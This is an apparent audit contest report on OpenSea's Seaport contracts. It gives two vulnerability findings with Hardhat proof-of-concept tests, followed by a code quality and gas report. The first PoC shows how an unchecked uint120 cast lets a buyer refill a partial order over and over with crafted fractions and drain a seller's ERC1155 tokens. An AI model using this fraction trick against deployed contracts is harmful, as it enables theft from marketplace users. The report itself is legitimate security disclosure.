OpenSea Seaport contest - Saw-mon_and_Natalie's results

Lines of code

https://github.com/ProjectOpenSea/seaport/blob/49799ce156/contracts/lib/OrderValidator.sol#L228-L231

Vulnerability details

Repo commit referenced: 49799ce156d979132c9924a739ae45a38b39ecdd

Impact

In the lines OrderValidator.sol#L223-L239 where the orderStatus for an orderHash gets updated:

_orderStatus[orderHash].numerator = uint120(
    filledNumerator + numerator
);
_orderStatus[orderHash].denominator = uint120(denominator);

The contract casts values from uint256 to uint120 without checking for an overflow. This can be exploited to fulfill the same order with different fractions that sum up to more than 1 (and in fact, the sum of fractions can be made arbitrarily high). This breaks the assumption for the seller on their allocated token amount for the order. A malicious actor can target this vulnerability to almost drain the seller's token balance (the token/id used in the original validated order).

Proof of Concept

Here is a POC as a hardhat test which can be incorporated in the hardhat test file provided by this repo (since we are using some of the utility functions defined in that test file):

it("Does not revert on multiple partially filled orders with sum of fractions greater than one using advanced orders", async () => {
// for fraction 1/2^60
const n1 = toBN(1);
const d1 = ethers.BigNumber.from(2).pow(60);

// for fraction (2^60 -1)/(2^60 + 1)
const n2 = d1.sub(1);
const d2 = d1.add(1);

// M = 2^120 + 2^60
const M = d1.mul(d2);

// Seller mints nft
const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    M.mul(4)
);

// Offer amount needs to be divisible by M
const offer = [
    getTestItem1155(nftId, M, M)
];

// Consideration amount needs to be divisible by M
const consideration = [
    getItemETH(M, M, seller.address)
];

const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
);

let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
);

// fund buyer with enough ETH
// for other routes we need to make sure
// the buyer has enough ERC20 or ERC1155 tokens
await provider.send("hardhat_setBalance", [buyer.address, M.mul(10).toHexString().replace("0x0", "0x")]);

// utility function
const _buy = async (n, d) => {
    order.numerator = n; 
    order.denominator = d;

    await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
        .connect(buyer)
        .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
        });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
        tx,
        receipt,
        [
        {
            order,
            orderHash,
            fulfiller: buyer.address,
            fulfillerConduitKey: toKey(false),
        },
        ],
        null,
        []
    );

    return receipt;
    });

    orderStatus = await marketplaceContract.getOrderStatus(orderHash);

    expect({ ...orderStatus }).to.deep.equal(
        // NOTE: the values below are independent 
        // of the input for our chosen factions n1/d1, n2/d2.
        buildOrderStatus(true, false, n1, d1) 
    );
}

await _buy(n1, d1);

await _buy(n2, d2);
await _buy(n2, d2);
await _buy(n2, d2);
// ...
// the buyer can keep filling orders with the
// fraction n2/d2 till they almost deplete the seller's 
// ERC1155 token balance, even passed the allocated
// amount for the originally signed/validated order
});

The chosen $\frac{n_1}{d_1} = \frac{1}{2^{60}}$ and $\frac{n_2}{d_2}=\frac{2^{60} - 1}{2^{60} + 1}$ fractions have this property that:

So after partially fulfilling an order with the fraction $\frac{n_1}{d_1}$, a partial fulfillment using the 2nd fraction $\frac{n_2}{d_2}$ acts as an idempotent operation which can be applied indefinitely as long as both parties have enough of their respective tokens. This means the storage variable which keeps tabs of this particular order (_orderStatus[orderHash], OrderValidator.sol#L28) will always have the value $\frac{n_1}{d_1}$ stored in its slot.

Also note:

This means a malicious buyer can exchange almost all the seller's ERC1155 token (definitely more than the allocated amount in this example, the amount is M)

The above POC can be extended to any partially fillable order route. Also, there is a family of fractions for the case of just 2 fractions. And the POC can be extended to examples with more than just 2 fraction combinations.

Tools Used

HardHat

Recommended Mitigation Steps

Make sure all the arithmetic operations regarding the update process for the new numerator and denominator are done in uint120 so that an overflow would not happen

or

check for uint120 overflows and revert.

Lines of code

https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L274 https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L571 https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L746-L756 https://github.com/ProjectOpenSea/seaport/blob/49799ce156d979132c9924a739ae45a38b39ecdd/contracts/lib/FulfillmentApplier.sol#L465-L476

Vulnerability details

Value Overflow in FulfillmentApplier.sol

Repo commit referenced: 49799ce156d979132c9924a739ae45a38b39ecdd

Impact

In _aggregateValidFulfillmentOfferItems (Line 274) and _aggregateValidFulfillmentConsiderationItems (Line 571) a variable errorBuffer has been defined as

// Create variable to track errors encountered with amount.
let errorBuffer := 0

and later on in a for loop this value keeps getting updated:

// Update error buffer (1 = zero amount, 2 = overflow).
errorBuffer := or(
    errorBuffer,
    or(
    shl(1, lt(newAmount, amount)),
    iszero(mload(amountPtr))
    )
)

Unlike what the comment describes in the code block above, the value of errorBuffer can also be 3 when we have

1. an item with amount 0, and
2. when sum of the amounts of some items overflows.

Keeping that in mind, at the end of each function, we have a check for the value of errorBuffer and depending on if it is 1 or 2, we will throw an error:

// Determine if an error code is contained in the error buffer.
switch errorBuffer
case 1 {
    // Store the MissingItemAmount error signature.
    mstore(0, MissingItemAmount_error_signature)

    // Return, supplying MissingItemAmount signature.
    revert(0, MissingItemAmount_error_len)
}
case 2 {
    // If the sum overflowed, panic.
    throwOverflow()
}

So the case when errorBuffer is 3, is not catched.

Proof of Concept

Here is a POC as a hardhat test which can be incorporated in the hardhat test file provided by this repo (since we are using some of the utility functions defined in that test file):

it("Match with overflow amounts for bufferError and with an item amount 0", async () => {
    const total = ethers.BigNumber.from(4);
    const amount1 = ethers.BigNumber.from(10);
    const amount2 = ethers.constants.MaxUint256.sub(5);

    const nftId = toBN(1);
    await mint1155(seller,1, testERC1155, nftId, total);

    await set1155ApprovalForAll(seller, marketplaceContract.address);
    await set1155ApprovalForAll(buyer, marketplaceContract.address);

    const offerOne = [
        getTestItem1155(
        nftId,
        amount1,
        amount1,
        testERC1155.address,
        undefined,
        ),
        getTestItem1155(
        nftId,
        amount2,
        amount2,
        testERC1155.address,
        undefined,
        ),
        getTestItem1155(
        nftId,
        toBN(0),
        toBN(0),
        testERC1155.address,
        undefined,
        ),
    ];

    const considerationOne = [
        getItemETH(parseEther("10"), parseEther("10"), seller.address),
    ];

    const { order: orderOne, orderHash: orderHashOne } = await createOrder(
        seller,
        zone,
        offerOne,
        considerationOne,
        0 // FULL_OPEN
    );

    const offerTwo = [
        getItemETH(parseEther("10"), parseEther("10"), undefined),
    ];

    const considerationTwo = [
        getTestItem1155(
        nftId,
        total,
        total,
        testERC1155.address,
        buyer.address
        ),
    ];

    const { order: orderTwo, orderHash: orderHashTwo } = await createOrder(
        buyer,
        zone,
        offerTwo,
        considerationTwo,
        0 // FULL_OPEN
    );

    const fulfillments = [
        [[[1, 0]], [[0, 0]]],
        [[
            [0, 0], 
            [0, 1], 
            [0, 2]
        ], [[1, 0]]],
    ].map(([offerArr, considerationArr]) =>
        toFulfillment(offerArr, considerationArr)
    );

    const executions = await simulateAdvancedMatchOrders(
        [orderOne, orderTwo],
        [], // no criteria resolvers
        fulfillments,
        buyer,
        parseEther("10")
    );

    expect(executions.length).to.equal(fulfillments.length);

    const tx = marketplaceContract
        .connect(buyer)
        .matchAdvancedOrders(
        [orderOne, orderTwo],
        [],
        fulfillments,
        {
            value: parseEther("10"),
        }
        );

    const receipt = await (await tx).wait();

    await checkExpectedEvents(
        tx,
        receipt,
        [
        {
            order: orderOne,
            orderHash: orderHashOne,
            fulfiller: constants.AddressZero,
        },
        {
            order: orderTwo,
            orderHash: orderHashTwo,
            fulfiller: constants.AddressZero,
        },
        ],
        executions,
        [], // no criteria resolvers
        true,
        multiplier = 1
    );
    return receipt;
});

The test above passes and so matchAdvancedOrders (which is an external function for Seaport) does not throw an error.

Recommended Mitigation Steps

Add a 3rd case for bufferError covering when its value is 3.

// Determine if an error code is contained in the error buffer.
switch errorBuffer
case 1 {
    // Store the MissingItemAmount error signature.
    mstore(0, MissingItemAmount_error_signature)

    // Return, supplying MissingItemAmount signature.
    revert(0, MissingItemAmount_error_len)
}
case 2 {
    // If the sum overflowed, panic.
    throwOverflow()
}
case 3 {
    // If the sum overflowed, and also if there is a missing item amount (= 0).
    // TODO:  throw a custom error
}

Quality Report

Repo commit referenced: 49799ce156d979132c9924a739ae45a38b39ecdd

BasicOrderFulfiller.sol

1. Adding a new variable to the assembly

For lines 82-86, we can define a new YUL variable, basicOrderType to remove the need to call calldataload twice and also adding the BasicOrder_basicOrderType_cdPtr twice to the stack, the modified code block would look like this:

let basicOrderType := calldataload(BasicOrder_basicOrderType_cdPtr)

// Mask all but 2 least-significant bits to derive the order type.
orderType := and(basicOrderType, 3)

// Divide basicOrderType by four to derive the route.
route := div(basicOrderType, 4)

This would make the code more readable and also should require less gas.

2. Missing parameter NatSpec info

Function _transferERC20AndFinalize is missing a NatSpec info for accumulator. Need to add:

* @param accumulator An open-ended array that collects transfers to execute
*                    against a given conduit in a single call.

ConsiderationStructs.sol

Typo in SpentItem NatSpec comment d is missing from and (Line 68):

- * @dev A spent item is translated from a utilized offer item an has four
+  * @dev A spent item is translated from a utilized offer item and has four

CriteriaResolution.sol

1. Modify For loops to save gas

On line 56 and 166 the for loops can be modified to:

uint256 i = 0;

// Iterate over each criteria resolver.
for (; i < totalCriteriaResolvers;) {
    ...
    ++i;
}

i = 0;

// Iterate over each advanced order.
for (; i < totalAdvancedOrders;) {
    ...
    ++i;
}

Note. We don't need to use unchecked for ++i since both for loop blocks are child nodes of a bigger unchecked block.

The same modification can be made for the for loops with the j counter on line 184 and 199.

2. Redundant array element lookup

One line 177, the ith element of advancedOrders is lookup even though that element is already have been saved in memory as advancedOrder

Current (lines 168-178):

AdvancedOrder memory advancedOrder = advancedOrders[i];

// Skip criteria resolution for order if not fulfilled.
if (advancedOrder.numerator == 0) {
    continue;
}

// Retrieve the parameters for the order.
OrderParameters memory orderParameters = (
    advancedOrders[i].parameters
);

So we can reuse advancedOrder and the modified block would be:

AdvancedOrder memory advancedOrder = advancedOrders[i];

// Skip criteria resolution for order if not fulfilled.
if (advancedOrder.numerator == 0) {
    continue;
}

// Retrieve the parameters for the order.
OrderParameters memory orderParameters = (
    advancedOrder.parameters
);

ie:

- advancedOrders[i].parameters
+ advancedOrder.parameters

Executor.sol

Using the AccumulatorArmed defined constants from ConsiderationConstants.sol, we can rewrite Executor.sol:L433:

// file: contracts/lib/Executor.sol:L433

- if (accumulator.length != 64) {
+ if (accumulator.length != AccumulatorArmed) {

FulfillmentApplier.sol

1. Typo in comment

The if block on lines 180-183 has typos for the comment before the if block:

// Set the offerer as the receipient if execution amount is nonzero.
if (execution.item.amount == 0) {
    execution.item.recipient = payable(execution.offerer);
}

nonzero needs to be changed to zero and receipient to recipient

- // Set the offerer as the receipient if execution amount is nonzero.
+ // Set the offerer as the recipient if execution amount is zero.

GettersAndDerivers.sol

1. Typo

Typo in comment on line 131, offer items should be consideration items:

- // Iterate over the offer items (not including tips).
+ // Iterate over the consideration items (not including tips).

2. Unpredictable Memory Location

On line 170 a memory location has been set with an unpredictable address/content:

let typeHashPtr := sub(orderParameters, OneWord)

OrderCombiner.sol

For the function _validateOrdersAndPrepareToFulfill is the maximumFulfilled has been reached, the loop keeps continuing without essentailly doing anything other than wasting gas, since on line 196 it keeps jumping to the next i value. The continue statement on line 196 should be replaced by the break statement to exit the loop. (Ref)

for (uint256 i = 0; i < totalOrders; ++i) {
    // Retrieve the current order.
    AdvancedOrder memory advancedOrder = advancedOrders[i];

    // Determine if max number orders have already been fulfilled.
    if (maximumFulfilled == 0) {
        // Mark fill fraction as zero as the order will not be used.
        advancedOrder.numerator = 0;

        // Update the length of the orderHashes array.
        assembly {
            mstore(orderHashes, add(i, 1))
        }

        // Continue iterating through the remaining orders.
-        continue;
+        break;
    }

OrderFulfiller.sol

To optimize the for loop in Lines 468-475

The code block below:

// Skip overflow check as the index for the loop starts at zero.
unchecked {
    // Iterate over the given orders.
    for (uint256 i = 0; i < totalOrders; ++i) {
        // Convert to partial order (1/1 or full fill) and update array.
        advancedOrders[i] = _convertOrderToAdvanced(orders[i]);
    }
}

can be changed too:

// Skip overflow check as the index for the loop starts at zero.
unchecked {
    // Iterate over the given orders.
    uint256 i = 0;
    for (; i < totalOrders;) {
        // Convert to partial order (1/1 or full fill) and update array.
        advancedOrders[i] = _convertOrderToAdvanced(orders[i]);

        ++i;
    }
}

TokenTransferrer.sol

In the function _performERC1155BatchTransfers(ConduitBatch1155Transfer[] calldata batchTransfers) on line 542 the data length offset value is incorrect.

// Set the length of the data array in memory to zero.
mstore(
    add(
        BatchTransfer1155Params_data_length_basePtr,
        idsAndAmountsSize
    ),
    0
)

This value is used to call a safeBatchTransferFrom(address from, address to, uint256[] ids, uint256[] amounts, bytes data) endpoint on a ERC1155 contract.

The formula for the offset should be:

Currently the offset is $\mathtt{0x104} + \text{idsAndAmountsSize}$ which expands memory 2 words extra more than the necessary amount.

Here is an example (cast from foundry):

>> cast abi-encode "safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)" 0x8496a8EDc4A0894123062194015c0Cf86b7A277c 0x8496a8EDc4A0894123062194015c0Cf86b7A277c [] [] 0x

0x00 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c from
0x20 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c to
0x40 00000000000000000000000000000000000000000000000000000000000000a0 head(ids)
0x60 00000000000000000000000000000000000000000000000000000000000000c0 head(amounts)
0x80 00000000000000000000000000000000000000000000000000000000000000e0 head(data)
0xa0 0000000000000000000000000000000000000000000000000000000000000000 ids_length
0xc0 0000000000000000000000000000000000000000000000000000000000000000 amounts_length
0xe0 0000000000000000000000000000000000000000000000000000000000000000 data_length

The above ABI encoding does not include the ZeroSlot in the memory and also the function signature after adding those according to the instruction in _performERC1155BatchTransfers we would get:

0x000 0000000000000000000000000000000000000000000000000000000000000000 ZeroSlot
0x004 2eb2c2d6
0x024 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c from
0x044 0000000000000000000000008496a8edc4a0894123062194015c0cf86b7a277c to
0x064 00000000000000000000000000000000000000000000000000000000000000a0 head(ids)
0x084 00000000000000000000000000000000000000000000000000000000000000c0 head(amounts)
0x0a4 00000000000000000000000000000000000000000000000000000000000000e0 head(data)
0x0c4 0000000000000000000000000000000000000000000000000000000000000000 ids_length
0x0e4 0000000000000000000000000000000000000000000000000000000000000000 amounts_length
0x104 0000000000000000000000000000000000000000000000000000000000000000 data_length

In this example we have idsAndAmountsSize = 0x40 = TwoWords and the constant BatchTransfer1155Params_data_length_basePtr = 0x104 (based on TokenTransferrerConstants.sol), so according to the line TokenTransferrer.sol:542 the data_length memory offset would need to be 0x144 which is outside of the neccesssary memory area.

To fix this error, these changes need to be applied:

Block before change:

// file: contract/lib/TokenTransferrer:L541

// Set the length of the data array in memory to zero.
mstore(
    add(
        BatchTransfer1155Params_data_length_basePtr,
        idsAndAmountsSize
    ),
    0
)

// Determine the total calldata size for the call to transfer.
let transferDataSize := add(
    BatchTransfer1155Params_data_length_basePtr,
    mul(idsLength, TwoWords)
)

Block after change:

// file: contract/lib/TokenTransferrer:L541

// Determine the total calldata size for the call to transfer.
let transferDataSize := add(
    BatchTransfer1155Params_data_length_basePtr,
    idsAndAmountsSize
)

// Set the length of the data array in memory to zero.
mstore(
    transferDataSize,
    0
)

and also the following constant would need to be updated:

// file: contract/lib/TokenTransferrerConstants.sol:L146

- uint256 constant BatchTransfer1155Params_data_length_basePtr = 0x104;
+ uint256 constant BatchTransfer1155Params_data_length_basePtr = 0xc4;

The change above removes uses less arithmetic operation which in turn would also save some gas.

ZoneInteractions.sol

For the function _assertRestrictedAdvancedOrderValidity on lines 104-113, offerer and zone are passed as two extra inputs although advancedOrder contains those 2 parameters.

function _assertRestrictedAdvancedOrderValidity(
    AdvancedOrder memory advancedOrder,
    CriteriaResolver[] memory criteriaResolvers,
    bytes32[] memory priorOrderHashes,
    bytes32 orderHash,
    bytes32 zoneHash,
    OrderType orderType,
    address offerer,
    address zone
) internal view {

These parameters can be accessed as:

advancedOrder.parameters.offerer
advancedOrder.parameters.zone

This brings up the question if the extra inputs were provided like that to save gas, since using advancedOrder.parameters.VARIABLE would require the compiler to use extra instruction to calculate the memory offset and also load those variables to memory. This extra work was perhaps done in a function calling _assertRestrictedAdvancedOrderValidity.

ZoneInteractionErrors.sol

There is typo on line 13 in the NatSpec comment:

offerrer replaced by offerer

- either the offerrer or the order's zone or approved as valid by the
+ either the offerer or the order's zone or approved as valid by the

For loops

The for loops in these FILES:LINES

• Conduit.sol:66
• Conduit.sol:130
• BasicFulfiller.sol:948
• BasicFulFiller.sol:1040
• CriteriaResolution.sol:56
• CriteriaResolution.sol:166
• CriteriaResolution.sol:184
• CriteriaResolution.sol:199
• OrderCombiner.sol:181
• OrderCombiner.sol:247
• OrderCombiner.sol:291
• OrderCombiner.sol:373
• OrderCombiner.sol:473
• OrderCombiner.sol:498
• OrderCombiner.sol:577
• OrderCombiner.sol:598
• OrderCombiner.sol:621
• OrderCombiner.sol:754
• OrderFulfiller.sol:217
• OrderFulfiller.sol:306
• OrderFulfiller.sol:471
• OrderValidator.sol:272
• OrderValidator.sol:350

can be changed.

General structure used:

for (uint256 i = 0; CONDITION; ++i) { ... }

Change to:

uint256 i = 0;

for (; CONDITION;) { 
    ...
    unchecked {
         ++i;
    } 
}

The unchecked inner block might not be necessary since some of the loops are inside a bigger unchecked block.

and for the assembly blocks in FILES:LINES:

• BasicOrderFulfiller.sol:506
• BasicOrderFulfiller.sol:615
• CriteriaResolution.sol:256
• GettersAndDerivers.sol:78
• GettersAndDerivers.sol:133

General structure used:

for { initial }{ condition }{ increment } { ... }

Change to

initial

for {}{ condition }{} { 
    ... 
    increment
}